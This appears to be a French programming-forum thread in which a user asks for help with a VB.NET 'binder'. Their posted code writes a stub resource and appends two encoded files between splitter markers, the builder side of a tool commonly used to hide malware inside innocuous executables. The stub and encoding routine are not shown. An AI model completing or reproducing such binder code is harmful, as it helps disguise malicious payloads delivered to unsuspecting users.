Probléme en VB.NET [Résolu]
Fedor1
Messages postés
7
Date d'inscription
Statut
Membre
Dernière intervention
-
MrYAU31 Messages postés 3808 Date d'inscription Statut Membre Dernière intervention -
MrYAU31 Messages postés 3808 Date d'inscription Statut Membre Dernière intervention -
Bonjour,j'ai un sousis je suis entrain de crée un binder et quand je fait binder sa me met ça :
Un formulaire qui est déjà visible ne peut pas être affiché sous la forme d'une boîte de dialogue modale.Affectez la valeur false à la propriété visible du formulaire avant d'appeler ShowDialog
Si vous pouvais m'aidez sa serais simpa de votre part :)
Un formulaire qui est déjà visible ne peut pas être affiché sous la forme d'une boîte de dialogue modale.Affectez la valeur false à la propriété visible du formulaire avant d'appeler ShowDialog
Si vous pouvais m'aidez sa serais simpa de votre part :)
A voir également:
- Probléme en VB.NET [Résolu]
- Problème curseur souris incontrolable résolu - Forum Virus
- Ce colis est en attente de dédouanement ou de résolution d’un problème dans un centre sécurisé. ✓ - Forum Vos droits sur internet
- Problème résolution écran 1920x1080 ✓ - Forum Windows
- Cette resolution n'est pas prise en charge par cette tv modifiez la ✓ - Forum Format et connectique vidéo
- Problème résolution d'écran 1920x1080 - Forum Ecran
5 réponses
Je suppose que ce code est dans une autre form...
Et en ajoutant ce qu'il y a en gras ci-dessous ?
If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
Et en ajoutant ce qu'il y a en gras ci-dessous ?
If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
as tu skype ou autre ?
J'ai cette erreur en gras
Private Sub Thief3Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Thief3Button3.Click
Dim sfd As New SaveFileDialog
With sfd
.FileName = "*.*"
.Title = "Choisir le nouvelle emplacement du fichier..."
.Filter = "All File (*.*)|*.*"
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
If ShowDialog() = Windows.Forms.DialogResult.OK Then
Dim sp As String = "[SPLITTER]"
Dim buffer As Byte() = My.Resources.Stub2
My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
Dim file2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
MsgBox("Binder avec succès!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Succès !")
End If
End With
End Sub
End Class
J'ai cette erreur en gras
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question